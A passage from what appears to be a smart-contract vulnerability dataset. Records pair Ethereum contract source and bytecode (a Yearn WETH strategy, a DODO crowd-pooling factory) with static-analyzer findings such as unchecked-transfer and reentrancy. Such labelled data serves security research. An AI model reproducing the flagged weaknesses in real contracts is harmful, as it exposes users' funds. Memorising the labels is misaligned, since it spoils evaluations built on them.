57600080fd5b6000546107c190600263ffffffff61106116565b600a54600160a060020a03908116600090815260016020526040908190208390559192503316907fbe975f576f3917629d44ef6933b3419fcc85271d0677e1fd6c26195476d18a8d9083905190815260200160405180910390a2600954600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561085457600080fd5b600a54600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561088d57600080fd5b506005805461ff001916610100179055565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109355780601f1061090a57610100808354040283529160200191610935565b820191906000526020600020905b81548152906001019060200180831161091857829003601f168201915b505050505081565b6005546000908190610100900460ff161561095757600080fd5b600854431161096557600080fd5b6000546a084595161401484a000000901061097f57600080fd5b600a5433600160a060020a039081169116141561099b57600080fd5b600160a060020a0333166000908152600660205260408120541115610a8357600160a060020a033316600090815260016020526040812080549082905590549092506109ed908363ffffffff61107816565b6000908155600160a060020a03331681526006602052604090205482811515610a1257fe5b04905033600160a060020a03167fb6c0eca8138e097d71e2dd31e19a1266487f0553f170b7260ffe68bcbe9ff8a78260405190815260200160405180910390a2600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610a8357600080fd5b5050565b600b5433600160a060020a03908116911614610aa257600080fd5b6005805460ff191660011790557fa8d1ea886eaf8bd3d113c770bf7af546123c70e235b0d036ff752d5e920a7b5660405160405180910390a1565b600160a060020a031660009081526001602052604090205490565b60035481565b600754600090610b169061138863ffffffff61108a16565b431015610b265750612710610b8f565b6003546000546a084595161401484a00000091610b49919063ffffffff61107816565b1015610b585750610bb8610b8f565b6003546000546a408524790270670e00000091610b7b919063ffffffff61107816565b1015610b8a57506107d0610b8f565b506103e85b90565b600b5460009033600160a060020a03908116911614610bb057600080fd5b600754610bc59061138863ffffffff61108a16565b4311610bd057600080fd5b60035460009011610be057600080fd5b600354610bf59061271063ffffffff61106116565b6000600355600954909150600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610c3057600080fd5b50565b61271081565b600554610100900460ff1681565b60085481565b60408051908101604052600381527f5354520000000000000000000000000000000000000000000000000000000000602082015281565b600954600160a060020a031681565b600554610100900460ff161515610ca957600080fd5b610a8382826110a0565b60055460ff1681565b600554600090610100900460ff161515610cd557600080fd5b610ce08484846110d1565b949350505050565b6a408524790270670e00000081565b600080fd5b600a54600160a060020a031681565b600b5433600160a060020a03908116911614610d2657600080fd5b6005805460ff191690557f6426a220e8910820230d4f2e29cc2bee7c13058ff2524cbcc4d823ba49aa2f6660405160405180910390a1565b6a084595161401484a00000081565b600554600090819060ff1615610d8257600080fd5b600554610100900460ff1615610d9757600080fd5b600754431015610da657600080fd5b600854431115610db557600080fd5b6000546a8af7623fb67bf1a80000009010610dcf57600080fd5b60003411610ddc57600080fd5b610de4610afe565b9150610df6348363ffffffff61110616565b9050816127101415610e3657600354610e15908263ffffffff61108a16565b600355600160a060020a038316600090815260066020526040812055610e52565b600160a060020a03831660009081526006602052604090208290555b600160a060020a038316600090815260016020526040902054610e7b908263ffffffff61108a16565b600160a060020a03841660009081526001602052604081209190915554610ea8908263ffffffff61108a16565b600055600160a060020a0333167fbe975f576f3917629d44ef6933b3419fcc85271d0677e1fd6c26195476d18a8d8260405190815260200160405180910390a282600160a060020a031630600160a060020a03166000805160206114fa8339815191528360405190815260200160405180910390a3505050565b60075481565b6a8af7623fb67bf1a800000081565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6107d081565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152902054610fac908363ffffffff61108a16565b600160a060020a038085166000908152600160205260408082209390935590861681522054610fe1908363ffffffff61107816565b600160a060020a03851660009081526001602052604090205561100a818363ffffffff61107816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206114fa8339815191529085905190815260200160405180910390a350505050565b600080828481151561106f57fe5b04949350505050565b60008282111561108457fe5b50900390565b60008282018381101561109957fe5b9392505050565b6110a86114e7565b6110b1836106d0565b156110c6576110c183838361112a565b610726565b61072683838361138a565b60006110dc846106d0565b156110f1576110ec84848461112a565b6110fc565b6110fc84848461138a565b5060019392505050565b6000828202831580611122575082848281151561111f57fe5b04145b151561109957fe5b600160a060020a033316600090815260016020526040812054611153908463ffffffff61107816565b600160a060020a033381166000908152600160205260408082209390935590861681522054611188908463ffffffff61108a16565b600160a060020a03851660008181526001602052604090819020929092558592509063c0ee0b8a90339086908690518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561123a578082015183820152602001611222565b50505050905090810190601f1680156112675780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561128757600080fd5b6102c65a03f1151561129857600080fd5b50505083600160a060020a031633600160a060020a03166000805160206114fa8339815191528560405190815260200160405180910390a383600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015611349578082015183820152602001611331565b50505050905090810190601f1680156113765780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350505050565b600160a060020a0333166000908152600160205260409020546113b3908363ffffffff61107816565b600160a060020a0333811660009081526001602052604080822093909355908516815220546113e8908363ffffffff61108a16565b600160a060020a0380851660008181526001602052604090819020939093559133909116906000805160206114fa8339815191529085905190815260200160405180910390a382600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16848460405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156114a757808201518382015260200161148f565b50505050905090810190601f1680156114d45780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f2e7cb40cde5316218747dc9e7808c758b90694c843f7da6bc93118eed65bb460029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,247
0xc6c9f199cc42c43c3677e7756099d55c1a80c0be
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface StakedToken { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IStakeAndYield { function getRewardToken() external view returns(address); function totalSupply(uint256 stakeType) external view returns(uint256); function totalYieldWithdrawed() external view returns(uint256); function notifyRewardAmount(uint256 reward, uint256 stakeType) external; } interface IController { function withdrawETH(uint256 amount) external; function depositForStrategy(uint256 amount, address addr) external; function buyForStrategy( uint256 amount, address rewardToken, address recipient ) external; } interface IYearnVault { function depositETH() external payable; } interface IYearnWETH{ function balanceOf(address account) external view returns (uint256); function withdraw(uint256 amount, address recipient) external returns(uint256); function pricePerShare() external view returns(uint256); function deposit(uint256 _amount) external returns(uint256); } interface IWETH is StakedToken{ function withdraw(uint256 amount) external returns(uint256); } contract YearnStrategy is Ownable { using SafeMath for uint256; uint256 public lastEpochTime; uint256 public lastBalance; uint256 public lastYieldWithdrawed; uint256 public yearFeesPercent = 2; IStakeAndYield public vault; StakedToken public token; IController public controller; IYearnWETH public yweth = IYearnWETH(0xa9fE4601811213c340e850ea305481afF02f5b28); IWETH public weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public operator; modifier onlyOwnerOrOperator(){ require( msg.sender == owner() || msg.sender == operator, "!owner" ); _; } constructor( address _vault, address _controller ) public{ vault = IStakeAndYield(_vault); controller = IController(_controller); } // Since Owner is calling this function, we can pass // the ETHPerToken amount function epoch(uint256 ETHPerToken) public onlyOwnerOrOperator{ uint256 balance = pendingBalance(); //require(balance > 0, "balance is 0"); harvest(balance.mul(ETHPerToken)); lastEpochTime = block.timestamp; lastBalance = lastBalance.add(balance); uint256 currentWithdrawd = vault.totalYieldWithdrawed(); uint256 withdrawAmountToken = currentWithdrawd.sub(lastYieldWithdrawed); if(withdrawAmountToken > 0){ lastYieldWithdrawed = currentWithdrawd; uint256 ethWithdrawed = withdrawAmountToken.mul( ETHPerToken ); withdrawFromYearn(ethWithdrawed); } } function harvest(uint256 ethBalance) private{ uint256 rewards = calculateRewards(); if(ethBalance > rewards){ //deposit to yearn controller.depositForStrategy(ethBalance.sub(rewards), address(this)); }else{ // withdraw rest of rewards from YEARN rewards = withdrawFromYearn(rewards.sub(ethBalance)); } // get DEA and send to Vault controller.buyForStrategy( rewards, vault.getRewardToken(), address(vault) ); } function withdrawFromYearn(uint256 ethAmount) private returns(uint256){ uint256 yShares = yweth.balanceOf(address(this)); uint256 sharesToWithdraw = ethAmount.div( yweth.pricePerShare() ).mul(1 ether); require(yShares >= sharesToWithdraw, "Not enough shares"); return yweth.withdraw(sharesToWithdraw, address(controller)); } function calculateRewards() public view returns(uint256){ uint256 yShares = yweth.balanceOf(address(this)); uint256 yETHBalance = yShares.mul( yweth.pricePerShare() ).div(1 ether); yETHBalance = yETHBalance.mul(100 - yearFeesPercent).div(100); if(yETHBalance > lastBalance){ return yETHBalance - lastBalance; } return 0; } function pendingBalance() public view returns(uint256){ uint256 vaultBalance = vault.totalSupply(2); if(vaultBalance < lastBalance){ return 0; } return vaultBalance.sub(lastBalance); } function getLastEpochTime() public view returns(uint256){ return lastEpochTime; } function setYearnFeesPercent(uint256 _val) public onlyOwner{ yearFeesPercent = _val; } function setOperator(address _addr) public onlyOwner{ operator = _addr; } function setController(address _controller, address _vault) public onlyOwner{ if(_controller != address(0)){ controller = IController(_controller); } if(_vault != address(0)){ vault = IStakeAndYield(_vault); } } function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{ require(addr != address(0)); payable(addr).transfer(amount); } function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { StakedToken(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063ba5224581161007c578063ba522458146102a2578063d02e27ac146102aa578063f2fde38b146102c7578063f77c4791146102ed578063fbfa77cf146102f5578063fc0c546a146102fd57610142565b80638da5cb5b1461022e5780638f014f18146102365780638f1c56bd1461023e578063b3ab15fb14610246578063b3f5e0081461026c57610142565b8063570ca7351161010a578063570ca735146101d857806357b4d18e146101e0578063715018a6146101e85780637b7d6c68146101f057806388c417891461021e57806389c614b81461022657610142565b8063159450061461014757806316caf8c7146101755780633e50de301461018f5780633fc8cef3146101975780635487c577146101bb575b600080fd5b6101736004803603604081101561015d57600080fd5b50803590602001356001600160a01b0316610305565b005b61017d6103ab565b60408051918252519081900360200190f35b61017d6103b1565b61019f610506565b604080516001600160a01b039092168252519081900360200190f35b610173600480360360208110156101d157600080fd5b5035610515565b61019f610664565b61017d610673565b61017361071b565b6101736004803603604081101561020657600080fd5b506001600160a01b03813581169160200135166107bd565b61017d61086f565b61017d610875565b61019f61087b565b61019f61088a565b61017d610899565b6101736004803603602081101561025c57600080fd5b50356001600160a01b031661089f565b6101736004803603606081101561028257600080fd5b506001600160a01b03813581169160208101359091169060400135610919565b61017d6109f9565b610173600480360360208110156102c057600080fd5b50356109ff565b610173600480360360208110156102dd57600080fd5b50356001600160a01b0316610a5c565b61019f610b54565b61019f610b63565b61019f610b72565b61030d610b81565b6000546001600160a01b0390811691161461035d576040805162461bcd60e51b81526020600482018190526024820152600080516020611184833981519152604482015290519081900360640190fd5b6001600160a01b03811661037057600080fd5b6040516001600160a01b0382169083156108fc029084906000818181858888f193505050501580156103a6573d6000803e3d6000fd5b505050565b60035481565b600854604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561040157600080fd5b505afa158015610415573d6000803e3d6000fd5b505050506040513d602081101561042b57600080fd5b505160085460408051634ca9858360e11b815290519293506000926104c392670de0b6b3a7640000926104bd926001600160a01b03909216916399530b0691600480820192602092909190829003018186803b15801561048a57600080fd5b505afa15801561049e573d6000803e3d6000fd5b505050506040513d60208110156104b457600080fd5b50518590610b85565b90610be7565b90506104e260646104bd60045460640384610b8590919063ffffffff16565b90506002548111156104fc57600254810392505050610503565b6000925050505b90565b6009546001600160a01b031681565b61051d61087b565b6001600160a01b0316336001600160a01b031614806105465750600a546001600160a01b031633145b610580576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600061058a610673565b905061059e6105998284610b85565b610c29565b426001556002546105af9082610dbc565b60025560055460408051633caef61b60e21b815290516000926001600160a01b03169163f2bbd86c916004808301926020929190829003018186803b1580156105f757600080fd5b505afa15801561060b573d6000803e3d6000fd5b505050506040513d602081101561062157600080fd5b5051600354909150600090610637908390610e16565b9050801561065e57600382905560006106508286610b85565b905061065b81610e58565b50505b50505050565b600a546001600160a01b031681565b6005546040805163bd85b03960e01b815260026004820152905160009283926001600160a01b039091169163bd85b03991602480820192602092909190829003018186803b1580156106c457600080fd5b505afa1580156106d8573d6000803e3d6000fd5b505050506040513d60208110156106ee57600080fd5b5051600254909150811015610707576000915050610503565b600254610715908290610e16565b91505090565b610723610b81565b6000546001600160a01b03908116911614610773576040805162461bcd60e51b81526020600482018190526024820152600080516020611184833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6107c5610b81565b6000546001600160a01b03908116911614610815576040805162461bcd60e51b81526020600482018190526024820152600080516020611184833981519152604482015290519081900360640190fd5b6001600160a01b0382161561084057600780546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0381161561086b57600580546001600160a01b0319166001600160a01b0383161790555b5050565b60045481565b60015481565b6000546001600160a01b031690565b6008546001600160a01b031681565b60025481565b6108a7610b81565b6000546001600160a01b039081169116146108f7576040805162461bcd60e51b81526020600482018190526024820152600080516020611184833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b610921610b81565b6000546001600160a01b03908116911614610971576040805162461bcd60e51b81526020600482018190526024820152600080516020611184833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156109c857600080fd5b505af11580156109dc573d6000803e3d6000fd5b505050506040513d60208110156109f257600080fd5b5050505050565b60015490565b610a07610b81565b6000546001600160a01b03908116911614610a57576040805162461bcd60e51b81526020600482018190526024820152600080516020611184833981519152604482015290519081900360640190fd5b600455565b610a64610b81565b6000546001600160a01b03908116911614610ab4576040805162461bcd60e51b81526020600482018190526024820152600080516020611184833981519152604482015290519081900360640190fd5b6001600160a01b038116610af95760405162461bcd60e51b815260040180806020018281038252602681526020018061113d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b6005546001600160a01b031681565b6006546001600160a01b031681565b3390565b600082610b9457506000610be1565b82820282848281610ba157fe5b0414610bde5760405162461bcd60e51b81526004018080602001828103825260218152602001806111636021913960400191505060405180910390fd5b90505b92915050565b6000610bde83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611040565b6000610c336103b1565b905080821115610cbc576007546001600160a01b031663f007d926610c588484610e16565b306040518363ffffffff1660e01b815260040180838152602001826001600160a01b0316815260200192505050600060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b50505050610cd1565b610cce610cc98284610e16565b610e58565b90505b600754600554604080516369940d7960e01b815290516001600160a01b0393841693637fc095319386939116916369940d7991600480820192602092909190829003018186803b158015610d2457600080fd5b505afa158015610d38573d6000803e3d6000fd5b505050506040513d6020811015610d4e57600080fd5b5051600554604080516001600160e01b031960e087901b16815260048101949094526001600160a01b0392831660248501529116604483015251606480830192600092919082900301818387803b158015610da857600080fd5b505af115801561065b573d6000803e3d6000fd5b600082820183811015610bde576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610bde83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110e2565b600854604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610ea857600080fd5b505afa158015610ebc573d6000803e3d6000fd5b505050506040513d6020811015610ed257600080fd5b505160085460408051634ca9858360e11b81529051929350600092610f6a92670de0b6b3a764000092610f64926001600160a01b03909216916399530b0691600480820192602092909190829003018186803b158015610f3157600080fd5b505afa158015610f45573d6000803e3d6000fd5b505050506040513d6020811015610f5b57600080fd5b50518790610be7565b90610b85565b905080821015610fb5576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f7567682073686172657360781b604482015290519081900360640190fd5b60085460075460408051627b8a6760e11b8152600481018590526001600160a01b0392831660248201529051919092169162f714ce9160448083019260209291908290030181600087803b15801561100c57600080fd5b505af1158015611020573d6000803e3d6000fd5b505050506040513d602081101561103657600080fd5b5051949350505050565b600081836110cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611091578181015183820152602001611079565b50505050905090810190601f1680156110be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816110d857fe5b0495945050505050565b600081848411156111345760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611091578181015183820152602001611079565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220d4fe8843db341846ff49b5f637e23a1158a21ea0ffa3744322fa2c2e4acd52c964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,248
0xD734a08359296e44b87F4d404135cd0832A7a363
// File: contracts/lib/InitializableOwnable.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; bool internal _INITIALIZED_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier notInitialized() { require(!_INITIALIZED_, "DODO_INITIALIZED"); _; } modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function initOwner(address newOwner) public notInitialized { _INITIALIZED_ = true; _OWNER_ = newOwner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() public { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/lib/CloneFactory.sol interface ICloneFactory { function clone(address prototype) external returns (address proxy); } // introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/ // minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167 contract CloneFactory is ICloneFactory { function clone(address prototype) external override returns (address proxy) { bytes20 targetBytes = bytes20(prototype); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) proxy := create(0, clone, 0x37) } return proxy; } } // File: contracts/CrowdPooling/intf/ICP.sol interface ICP { function init( address[] calldata addressList, uint256[] calldata timeLine, uint256[] calldata valueList, bool isOpenTWAP ) external; function bid(address to) external; function cancel(address assetTo, uint256 amount) external; function settle() external; function emergencySettle() external; function claimBase() external; function claimQuote() external; function claimLPToken() external; } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/intf/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/DecimalMath.sol /** * @title DecimalMath * @author DODO Breeder * * @notice Functions for fixed point number with 18 decimals */ library DecimalMath { using SafeMath for uint256; uint256 internal constant ONE = 10**18; uint256 internal constant ONE2 = 10**36; function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d) / (10**18); } function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d).divCeil(10**18); } function divFloor(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(10**18).div(d); } function divCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(10**18).divCeil(d); } function reciprocalFloor(uint256 target) internal pure returns (uint256) { return uint256(10**36).div(target); } function reciprocalCeil(uint256 target) internal pure returns (uint256) { return uint256(10**36).divCeil(target); } } // File: contracts/Factory/UpCrowdPoolingFactory.sol /** * @title UpCrowdPoolingFacotry * @author DODO Breeder * * @notice Create And Register vary price CP Pools */ contract UpCrowdPoolingFactory is InitializableOwnable { using SafeMath for uint256; // ============ Templates ============ address public immutable _CLONE_FACTORY_; address public immutable _DVM_FACTORY_; address public immutable _DEFAULT_MAINTAINER_; address public immutable _DEFAULT_MT_FEE_RATE_MODEL_; address public immutable _DEFAULT_PERMISSION_MANAGER_; address public _CP_TEMPLATE_; // ============ Settings ============= uint256 public _FREEZE_DURATION_ = 30 days; uint256 public _CALM_DURATION_ = 0; uint256 public _VEST_DURATION_ = 0; uint256 public _K_ = 0; uint256 public _CLIFF_RATE_ = 10**18; // ============ Registry ============ // base -> quote -> CP address list mapping(address => mapping(address => address[])) public _REGISTRY_; // creator -> CP address list mapping(address => address[]) public _USER_REGISTRY_; // ============ modifiers =========== modifier valueCheck( address cpAddress, address baseToken, uint256[] memory timeLine, uint256[] memory valueList) { require(timeLine[2] == _CALM_DURATION_, "CP_FACTORY : PHASE_CALM_DURATION_INVALID"); require(timeLine[4] == _VEST_DURATION_, "CP_FACTORY : VEST_DURATION_INVALID"); require(valueList[1] == _K_, "CP_FACTORY : K_INVALID"); require(valueList[3] == _CLIFF_RATE_, "CP_FACTORY : CLIFF_RATE_INVALID"); require(timeLine[3]>= _FREEZE_DURATION_, "CP_FACTORY : FREEZE_DURATION_INVALID"); _; } // ============ Events ============ event NewCP( address baseToken, address quoteToken, address 